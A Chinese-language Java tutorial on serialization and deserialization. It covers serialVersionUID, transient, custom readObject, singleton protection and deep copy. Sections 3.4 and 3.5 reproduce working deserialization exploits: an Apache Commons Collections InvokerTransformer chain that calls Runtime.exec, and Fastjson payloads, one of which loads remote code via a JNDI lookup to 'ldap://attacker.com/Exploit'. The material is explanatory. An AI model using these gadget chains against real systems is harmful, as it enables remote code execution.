Java 序列化和反序列化

一、序列化

Java 序列化是将对象转换为字节流的过程,以便可以将其保存到文件、通过网络传输或在内存中存储。反序列化则是将字节流转换回对象的过程。Java 提供了内置的序列化机制,主要通过 java.io.Serializable 接口实现。

1. Serializable 接口

要使一个类的对象可序列化,该类必须实现 java.io.Serializable 接口。这个接口是一个标记接口(没有方法),仅用于标识类的对象可以被序列化。

import java.io.Serializable;

public class Person implements Serializable {
    private static final long serialVersionUID = 1L;
    private String name;
    private int age;

    public Person(String name, int age) {
        this.name = name;
        this.age = age;
    }

    @Override
    public String toString() {
        return "Person{name='" + name + "', age=" + age + "}";
    }
}
1.2 serialVersionUID

serialVersionUID 是一个用于标识序列化类的版本的字段。如果在序列化后类的结构发生了变化(如添加或删除字段),反序列化时会根据 serialVersionUID 来判断是否兼容。如果没有显式定义 serialVersionUID,Java 会自动生成一个,但建议显式定义以避免兼容性问题。

  1. 随便更改 serialVersionUID 可能引发的问题

    • 反序列化失败
      • 当对象被序列化时,Java 会将当前类的 serialVersionUID 写入字节流。
      • 在反序列化时,Java 会检查字节流中的 serialVersionUID 是否与当前类的 serialVersionUID 一致。
      • 如果两者不一致,Java 会抛出 InvalidClassException,导致反序列化失败。
    • 破坏兼容性
      • serialVersionUID 是类的版本标识符。如果类的结构(如字段、方法)发生变化,但 serialVersionUID 保持不变,Java 会尝试兼容旧版本的序列化数据。
      • 如果随意更改 serialVersionUID,即使类的结构没有变化,也会破坏与旧版本序列化数据的兼容性。
  2. 自动生成的 serialVersionUID 可能引发的问题

    • 如果没有显式定义 serialVersionUID,Java 会根据类的结构(字段、方法、接口等)自动生成一个 serialVersionUID。
    • 如果类的结构发生变化(如添加或删除字段),自动生成的 serialVersionUID 也会发生变化,这会导致反序列化失败。
  3. 如何正确使用 serialVersionUID

    • 显式定义 serialVersionUID:
      • 在实现 Serializable 接口的类中,显式定义一个 serialVersionUID 字段。
    • 谨慎修改 serialVersionUID:
      • 如果类的结构发生了不兼容的更改(如删除字段、更改字段类型),应该更新 serialVersionUID。
      • 如果类的结构发生了兼容的更改(如添加新字段),可以保持 serialVersionUID 不变。
1.3 transient

在 Java 序列化中,transient 关键字用于标记类的字段,表示该字段不应被序列化。当一个对象被序列化时,所有非 transient 的字段都会被写入字节流,而 transient 字段会被忽略。在反序列化时,transient 字段会被初始化为默认值(如 null、0 或 false)。

  1. transient 的作用

    • 防止敏感数据被序列化:
      • 如果某些字段包含敏感信息(如密码、密钥等),可以使用 transient 关键字防止这些字段被序列化,从而避免数据泄露。
    • 节省存储空间和网络带宽:
      • 如果某些字段是临时数据或可以通过其他方式重新计算,可以使用 transient 关键字避免序列化这些字段,从而减少序列化后的数据大小。
    • 避免序列化不支持序列化的对象:
      • 如果某个字段引用了不支持序列化的对象(如 Thread 或 Socket),可以使用 transient 关键字避免序列化时抛出 NotSerializableException。
  2. transient 字段的默认值
    在反序列化时,transient 字段会被初始化为默认值:

    • 对于引用类型(如 String、Object),默认值为 null。
    • 对于基本类型(如 int、boolean),默认值为 0 或 false。
  3. transient 与 static 的区别

    • transient 字段不会被序列化,但在反序列化后会初始化为默认值。
    • static 字段属于类而不是对象,因此不会被序列化。即使反序列化后,static 字段的值也不会受到影响。
1.4 序列化过程

使用 ObjectOutputStream 将对象写入字节流。

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;

public class SerializeExample {
    public static void main(String[] args) {
        Person person = new Person("Alice", 30);

        try (FileOutputStream fileOut = new FileOutputStream("person.ser");
             ObjectOutputStream out = new ObjectOutputStream(fileOut)) {
            out.writeObject(person);
            System.out.println("Serialized data is saved in person.ser");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}
1.5 序列化底层原理

Java 序列化的底层原理主要包括对象图的遍历、字节流的生成和解析等。以下是 Java 序列化的底层原理的详细介绍:

  1. 序列化的核心概念
    • 对象图(Object Graph):序列化不仅仅是序列化单个对象,而是序列化整个对象图。对象图包括目标对象及其引用的所有对象(递归)。
    • 字节流(Byte Stream):序列化的结果是一个字节流,可以存储到文件、通过网络传输或在内存中保存。
    • 元数据(Metadata):序列化过程中会保存对象的类信息(如类名、字段类型等),以便在反序列化时能够正确恢复对象。
  2. 序列化的步骤
    Java 序列化的过程可以分为以下几个步骤:
    1. 对象图的遍历
      • 从目标对象开始,递归遍历所有引用的对象。
      • 对于每个对象,检查其是否实现了 Serializable 接口。如果未实现,则抛出 NotSerializableException。
    2. 生成字节流
      • 将对象的类信息(如类名、serialVersionUID、字段类型等)写入字节流。
      • 将对象的非 transient 和非 static 字段的值写入字节流。
      • 对于引用类型的字段,递归执行序列化。
    3. 使用 ObjectOutputStream 将生成的字节流写入目标输出流(如文件、网络等)。
  3. 序列化的底层实现
    • Java 序列化的底层实现依赖于 ObjectOutputStream。以下是它们的核心工作原理:
      • ObjectOutputStream 使用 writeObject 方法将对象转换为字节流。
      • 内部使用 ObjectStreamClass 类来描述对象的类信息。
      • 对于每个对象,ObjectOutputStream 会执行以下操作:
        • 写入对象的类描述符(包括类名、serialVersionUID、字段类型等)。
        • 写入对象的字段值(非 transient 和非 static 字段)。
        • 对于引用类型的字段,递归调用 writeObject。

二、反序列化

Java 反序列化是将字节流转换回对象的过程,恢复对象的状态。它是 Java 序列化机制的逆过程,依赖于 ObjectInputStream 类来实现。反序列化的核心是从字节流中读取对象的类信息和字段值,并通过反射创建对象实例。

2.1 反序列化的核心概念
  • 字节流(Byte Stream):
    • 反序列化的输入是一个字节流,通常来自文件、网络或内存。
  • 类信息(Class Metadata):
    • 字节流中包含了对象的类信息(如类名、字段类型等),用于在反序列化时创建正确的对象实例。
  • 对象状态(Object State):
    • 字节流中保存了对象的字段值,反序列化时会将这些值赋给对象的对应字段。
2.2 反序列化的步骤

Java 反序列化的过程可以分为以下几个步骤:

  1. 读取字节流
    • 使用 ObjectInputStream 从输入流(如文件、网络等)中读取字节流。
  2. 解析类信息
    • 从字节流中读取对象的类信息(如类名、serialVersionUID、字段类型等)。
    • 检查当前 JVM 中是否存在对应的类。如果不存在,则抛出 ClassNotFoundException。
  3. 创建对象实例
    • 根据类信息,通过反射创建对象的实例。注意,反序列化不会调用类的构造函数。
  4. 恢复对象状态
    • 从字节流中读取字段的值,并通过反射将其赋给对象的对应字段。
    • 对于引用类型的字段,递归执行反序列化。
  5. 调用 readResolve 方法(如果存在)
    • 如果对象实现了 readResolve 方法,则调用该方法返回的对象,替代反序列化生成的对象。
2.3 反序列化的底层实现

Java 反序列化的底层实现依赖于 ObjectInputStream 类。以下是它的核心工作原理:

  1. ObjectInputStream
    • ObjectInputStream 使用 readObject 方法从字节流中恢复对象。
    • 内部使用 ObjectStreamClass 类来解析类信息。
    • 对于每个对象,ObjectInputStream 会执行以下操作:
      • 读取对象的类描述符(包括类名、serialVersionUID、字段类型等)。
      • 根据类信息创建对象的实例(不调用构造函数)。
      • 读取字段的值,并通过反射将其赋给对象的对应字段。
      • 对于引用类型的字段,递归调用 readObject。
  2. ObjectStreamClass
    • ObjectStreamClass 是 Java 序列化机制中用于描述类的元数据的类。
    • 它包含了类的名称、serialVersionUID、字段信息等。
    • 在反序列化时,ObjectInputStream 使用 ObjectStreamClass 来解析字节流中的类信息。
2.4 反序列化的性能优化
  1. 避免重复反序列化:
    • Java 序列化会为每个对象分配一个唯一的句柄。如果同一个对象被多次引用,只会反序列化一次,后续引用使用句柄代替。
  2. 使用外部化(Externalizable):
    • 与 Serializable 不同,Externalizable 接口允许完全控制序列化和反序列化的过程,可以进一步优化性能。
2.5 反序列化的注意事项
  1. 类的兼容性:
    • 反序列化时,字节流中的类信息必须与当前 JVM 中的类兼容。如果类的结构发生了变化(如字段类型更改),可能会导致 InvalidClassException。
  2. 安全性问题:
    • 反序列化可能引发安全漏洞(如反序列化攻击),因此需要谨慎处理不可信的数据。
  3. 性能问题:
    • 反序列化涉及反射和递归操作,性能较低,尤其是在处理大量数据时。
2.6 自定义反序列化

可以通过实现 readObject 方法来自定义反序列化过程。例如,可以在反序列化时对字段进行额外的验证或初始化。

import java.io.*;

public class CustomDeserializationExample implements Serializable {
    private static final long serialVersionUID = 1L;
    private String name;
    private transient int age; // 不会被默认序列化

    public CustomDeserializationExample(String name, int age) {
        this.name = name;
        this.age = age;
    }

    // 自定义反序列化逻辑
    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject(); // 默认反序列化
        age = in.readInt(); // 手动反序列化 age
    }

    // 自定义序列化逻辑
    private void writeObject(ObjectOutputStream out) throws IOException {
        out.defaultWriteObject(); // 默认序列化
        out.writeInt(age); // 手动序列化 age
    }

    @Override
    public String toString() {
        return "CustomDeserializationExample{name='" + name + "', age=" + age + "}";
    }

    public static void main(String[] args) {
        // 序列化
        try (FileOutputStream fileOut = new FileOutputStream("data.ser");
             ObjectOutputStream out = new ObjectOutputStream(fileOut)) {
            CustomDeserializationExample obj = new CustomDeserializationExample("Alice", 25);
            out.writeObject(obj);
            System.out.println("Serialized data is saved in data.ser");
        } catch (IOException e) {
            e.printStackTrace();
        }

        // 反序列化
        try (FileInputStream fileIn = new FileInputStream("data.ser");
             ObjectInputStream in = new ObjectInputStream(fileIn)) {
            CustomDeserializationExample obj = (CustomDeserializationExample) in.readObject();
            System.out.println("Deserialized Object: " + obj);
        } catch (IOException | ClassNotFoundException e) {
            e.printStackTrace();
        }
    }
}

三、序列化与反序列化常见问题

3.1 序列化如何破坏单例模式
  • 反序列化创建新对象:
    • 反序列化时,Java 会通过反射创建一个新的对象,而不是使用单例类的现有实例。
  • 绕过构造函数:
    • 反序列化不会调用单例类的构造函数,因此无法通过私有构造函数限制实例化。
  • 独立的对象图:
    • 反序列化生成的对象与单例类的现有实例是独立的,没有关联。
3.2 如何防止序列化破坏单例模式

为了防止序列化破坏单例模式,可以通过以下两种方式解决:

  1. 实现 readResolve 方法:
    • readResolve 是 Java 序列化机制中的一个特殊方法。反序列化时,如果对象实现了 readResolve 方法,则会调用该方法返回的对象,而不是反序列化生成的新对象。
    • 在单例类中实现 readResolve 方法,返回单例类的现有实例。
    • 修改后的单例类:
    public class Singleton implements Serializable {
    	private static final long serialVersionUID = 1L;
    	private static Singleton instance;
    
    	private Singleton() {}
    
    	public static Singleton getInstance() {
        	if (instance == null) {
            	instance = new Singleton();
            }
        	return instance;
    	}
    
    	// 防止反序列化破坏单例模式
    	protected Object readResolve() {
        	return getInstance();
    	}
    }
    
  2. 使用枚举实现单例
    • 枚举是实现单例模式的最佳方式之一。枚举实例的创建和序列化由 JVM 保证,天然支持单例模式。
    • 枚举在反序列化时不会创建新的实例,因此不会破坏单例模式。
    • 示例:
    // 枚举单例实现:
    public enum EnumSingleton {
    	INSTANCE;
    
    	public void doSomething() {
        	System.out.println("Doing something...");
    	}
    }
    
    // 测试代码:
    import java.io.*;
    
    public class EnumSingletonSerializationTest {
    	public static void main(String[] args) {
        	EnumSingleton instance1 = EnumSingleton.INSTANCE;
    
        	// 序列化
        	try (FileOutputStream fileOut = new FileOutputStream("enum_singleton.ser");
             	ObjectOutputStream out = new ObjectOutputStream(fileOut)) {
            	out.writeObject(instance1);
            	System.out.println("Serialized EnumSingleton instance.");
        	} catch (IOException e) {
            	e.printStackTrace();
        	}
    
        	// 反序列化
        	EnumSingleton instance2 = null;
        	try (FileInputStream fileIn = new FileInputStream("enum_singleton.ser");
             	ObjectInputStream in = new ObjectInputStream(fileIn)) {
            	instance2 = (EnumSingleton) in.readObject();
            	System.out.println("Deserialized EnumSingleton instance.");
        	} catch (IOException | ClassNotFoundException e) {
            	e.printStackTrace();
        	}
    
        	// 检查是否为同一个实例
        	System.out.println("instance1 == instance2: " + (instance1 == instance2));
    	}
    }
    
    // 输出结果:
    Serialized EnumSingleton instance.
    Deserialized EnumSingleton instance.
    instance1 == instance2: true
    
3.3 如何使用序列化实现深拷贝

在 Java 中,通过序列化实现深拷贝的原理是:将对象序列化为字节流,然后再从字节流中反序列化出一个新的对象。这样,新对象和原对象是完全独立的,修改其中一个不会影响另一个。

  • 实现步骤:

    1. 确保对象及其引用对象都实现了 Serializable 接口
      • 如果对象或其引用的对象没有实现 Serializable 接口,序列化时会抛出 NotSerializableException。
    2. 将对象序列化为字节流
      • 使用 ByteArrayOutputStream 和 ObjectOutputStream 将对象序列化为字节流。
    3. 从字节流中反序列化出新对象
      • 使用 ByteArrayInputStream 和 ObjectInputStream 从字节流中反序列化出新对象。
  • 代码实现:

    import java.io.*;
    
    public class DeepCopyUtil {
    
    	/**
     	* 使用序列化实现深拷贝
     	*
     	* @param object 需要拷贝的对象
     	* @param <T>    对象的类型
     	* @return 深拷贝后的对象
     	* @throws IOException            如果序列化失败
     	* @throws ClassNotFoundException 如果反序列化失败
     	*/
    	public static <T extends Serializable> T deepCopy(T object)
            throws IOException, ClassNotFoundException {
        	// 将对象序列化为字节流
        	ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        	try (ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream)) {
            	objectOutputStream.writeObject(object);
        	}
    
        	// 从字节流中反序列化出新对象
        	ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        	try (ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream)) {
            	return (T) objectInputStream.readObject();
        	}
    	}
    }
    
3.4 Apache-Commons-Collections的反序列化漏洞
  1. 漏洞原理

    • 该漏洞的核心在于 Apache Commons Collections 库中的一些类(如 Transformer、InvokerTransformer 等)可以被恶意利用,通过 Java 反序列化机制执行任意代码。
  2. Apache Commons Collections 中的危险类

    • Transformer 接口:
      • Transformer 是一个函数式接口,用于将一个对象转换为另一个对象。
    • InvokerTransformer 类:
      • InvokerTransformer 是 Transformer 的一个实现类,它可以通过反射调用任意方法。
    • ChainedTransformer 类:
      • ChainedTransformer 可以将多个 Transformer 串联起来,依次执行。
    • ConstantTransformer 类:
      • ConstantTransformer 总是返回一个常量值。
  3. 漏洞利用链
    攻击者可以通过构造一个恶意的序列化对象,利用以下类和方法形成利用链:

    1. AnnotationInvocationHandler(JDK 内部类):用于触发反序列化。
    2. LazyMap 或 TransformedMap:用于触发 Transformer 的执行
    3. InvokerTransformer:通过反射调用任意方法(如 Runtime.exec()),从而执行任意代码。
  4. 漏洞触发过程

    1. 攻击者构造一个恶意的序列化对象,其中包含利用链。
    2. 目标应用程序反序列化该对象。
    3. 反序列化过程中,InvokerTransformer 通过反射调用 Runtime.exec(),执行攻击者指定的命令。
  5. 漏洞复现
    以下是一个简单的漏洞复现代码:

    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.map.TransformedMap;
    
    import java.io.*;
    import java.lang.reflect.Constructor;
    import java.util.HashMap;
    import java.util.Map;
    
    public class CommonsCollectionsExploit {
    	public static void main(String[] args) throws Exception {
        	// 构造恶意 Transformer 链
        	Transformer[] transformers = new Transformer[]{
                	new ConstantTransformer(Runtime.class),
                	new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                	new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                	new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) // 执行计算器
        	};
        	Transformer transformerChain = new ChainedTransformer(transformers);
    
        	// 构造恶意 Map
        	Map<String, String> innerMap = new HashMap<>();
        	innerMap.put("key", "value");
        	Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
    
        	// 通过反射创建 AnnotationInvocationHandler 实例
        	Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        	Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        	constructor.setAccessible(true);
        	Object instance = constructor.newInstance(Override.class, outerMap);
    
        	// 序列化恶意对象
        	ByteArrayOutputStream baos = new ByteArrayOutputStream();
        	try (ObjectOutputStream oos = new ObjectOutputStream(baos)) {
            	oos.writeObject(instance);
        	}
    
        	// 反序列化触发漏洞
        	byte[] bytes = baos.toByteArray();
        	try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes))) {
            	ois.readObject();
        	}
    	}
    }
    
    // 运行结果:
    在 Windows 系统上,上述代码会弹出计算器(calc.exe),证明漏洞利用成功。
    
3.5 Fastjson 反序列化漏洞
  1. 漏洞的原理

    • Fastjson 反序列化漏洞的核心在于其 自动类型推导 机制。当 Fastjson 反序列化 JSON 数据时,如果 JSON 中包含 @type 字段,Fastjson 会根据该字段的值动态加载类,并调用其构造函数或 setter 方法。攻击者可以利用这一特性,构造恶意的 JSON 数据,触发目标类中的危险方法(如构造函数、setter 方法等),从而导致远程代码执行。
  2. @type 字段的作用

    • @type 字段用于指定目标类的全限定名(Fully Qualified Name)。
    • 例如:
      {
        "@type": "com.example.User",
        "name": "Alice",
        "age": 25
      }
      
    • 在反序列化时,Fastjson 会尝试加载 com.example.User 类,并调用其 setName 和 setAge 方法。
  3. 漏洞利用链
    攻击者可以通过构造恶意的 JSON 数据,利用以下类和方法形成利用链:

    • JdbcRowSetImpl 类:
      • JdbcRowSetImpl 是 JDK 中的一个类,用于操作数据库。它的 setDataSourceName 和 setAutoCommit 方法可以通过 JNDI 注入触发远程代码执行。
    • TemplatesImpl 类:
      • 攻击者可以通过 TemplatesImpl 类加载恶意字节码,从而执行任意代码。
  4. 漏洞触发过程

    • 攻击者构造一个恶意的 JSON 数据,其中包含 @type 字段和目标类的危险方法。
    • 目标应用程序使用 Fastjson 反序列化该 JSON 数据。
    • Fastjson 根据 @type 字段加载目标类,并调用其危险方法,从而导致远程代码执行。
  5. 漏洞复现

    • 利用 JdbcRowSetImpl 触发 JNDI 注入
      import com.alibaba.fastjson.JSON;
      
      public class FastjsonExploit {
        public static void main(String[] args) {
      	   String payload = "{" +
      	          "\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
      		        "\"dataSourceName\":\"ldap://attacker.com/Exploit\"," +
      	         "\"autoCommit\":true" +
      	            "}";
           JSON.parse(payload); // 触发漏洞
         }
      }
      
      运行结果:
      如果目标应用程序使用 Fastjson 反序列化上述 JSON 数据,
      且 attacker.com 提供了一个恶意的 JNDI 服务,攻击者可以在目标系统上执行任意代码。
      
    • 利用 TemplatesImpl 加载恶意字节码
      import com.alibaba.fastjson.JSON;
      import com.alibaba.fastjson.parser.Feature;
      import com.alibaba.fastjson.parser.ParserConfig;
      
      public class FastjsonExploit {
          public static void main(String[] args) {
              String payload = "{" +
                   "\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
                   "\"_bytecodes\":[\"yv66vgAAADQA...\"]," + // 恶意字节码
                   "\"_name\":\"Exploit\"," +
      	         "\"_tfactory\":{}," +
      	         "\"_outputProperties\":{}" +
      	         "}";
           ParserConfig.getGlobalInstance().setAutoTypeSupport(true); // 启用 AutoType
           JSON.parseObject(payload, Object.class, Feature.SupportNonPublicField); // 触发漏洞
          }
      }
      
      运行结果:
      如果目标应用程序使用 Fastjson 反序列化上述 JSON 数据,攻击者可以在目标系统上执行任意代码。
      
3.6 JavaBean属性名对序列化的影响有哪些

JavaBean 的属性名对序列化和反序列化过程有重要影响,尤其是在使用一些序列化框架(如 Fastjson、Jackson、Gson 等)时。以下是 JavaBean 属性名对序列化的影响的详细介绍:

  1. 属性名对序列化的影响

    • 在序列化和反序列化过程中,JavaBean 的属性名决定了 JSON 数据中的字段名。不同的序列化框架对属性名的处理方式有所不同。
      • 默认行为
        • Fastjson:
          • Fastjson 默认使用 getter 方法的名称推导 JSON 字段名。例如,getName() 方法对应的 JSON 字段名为 name。
        • Jackson:
          • Jackson 默认使用属性名作为 JSON 字段名。例如,属性 name 对应的 JSON 字段名为 name。
        • Gson:
          • Gson 默认使用属性名作为 JSON 字段名。例如,属性 name 对应的 JSON 字段名为 name。
      • 属性名与 JSON 字段名的映射
        • 如果 JavaBean 的属性名与 JSON 字段名一致,序列化和反序列化可以正常工作。
        • 如果 JavaBean 的属性名与 JSON 字段名不一致,需要通过注解或配置指定映射关系。
  2. 属性名不一致的解决方案

    • 当 JavaBean 的属性名与 JSON 字段名不一致时,可以通过以下方式解决:
      • 使用注解
        • Fastjson:使用 @JSONField 注解指定 JSON 字段名。
          public class User {
          	@JSONField(name = "username")
          	private String name;
          
          	@JSONField(name = "user_age")
           private int age;
          
           // getter 和 setter 方法
          }
          
        • Jackson:使用 @JsonProperty 注解指定 JSON 字段名。
          public class User {
          	@JsonProperty("username")
          	private String name;
          
          	@JsonProperty("user_age")
          	private int age;
          
          	// getter 和 setter 方法
          }
          
        • Gson:使用 @SerializedName 注解指定 JSON 字段名。
          public class User {
          	@SerializedName("username")
          	private String name;
          
          	@SerializedName("user_age")
          	private int age;
          
          	// getter 和 setter 方法
          }
          
  3. 属性名对反序列化的影响
    反序列化时,序列化框架会根据 JSON 字段名查找 JavaBean 的属性或 setter 方法。如果 JSON 字段名与 JavaBean 的属性名不一致,反序列化会失败。

    • 默认行为
      • Fastjson:
        • Fastjson 会根据 JSON 字段名查找对应的 setter 方法。例如,JSON 字段 username 会调用 setUsername 方法。
      • Jackson:
        • Jackson 会根据 JSON 字段名查找对应的属性或 setter 方法。例如,JSON 字段 username 会调用 setUsername 方法。
      • Gson:
        • Gson 会根据 JSON 字段名查找对应的属性或 setter 方法。例如,JSON 字段 username 会调用 setUsername 方法。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值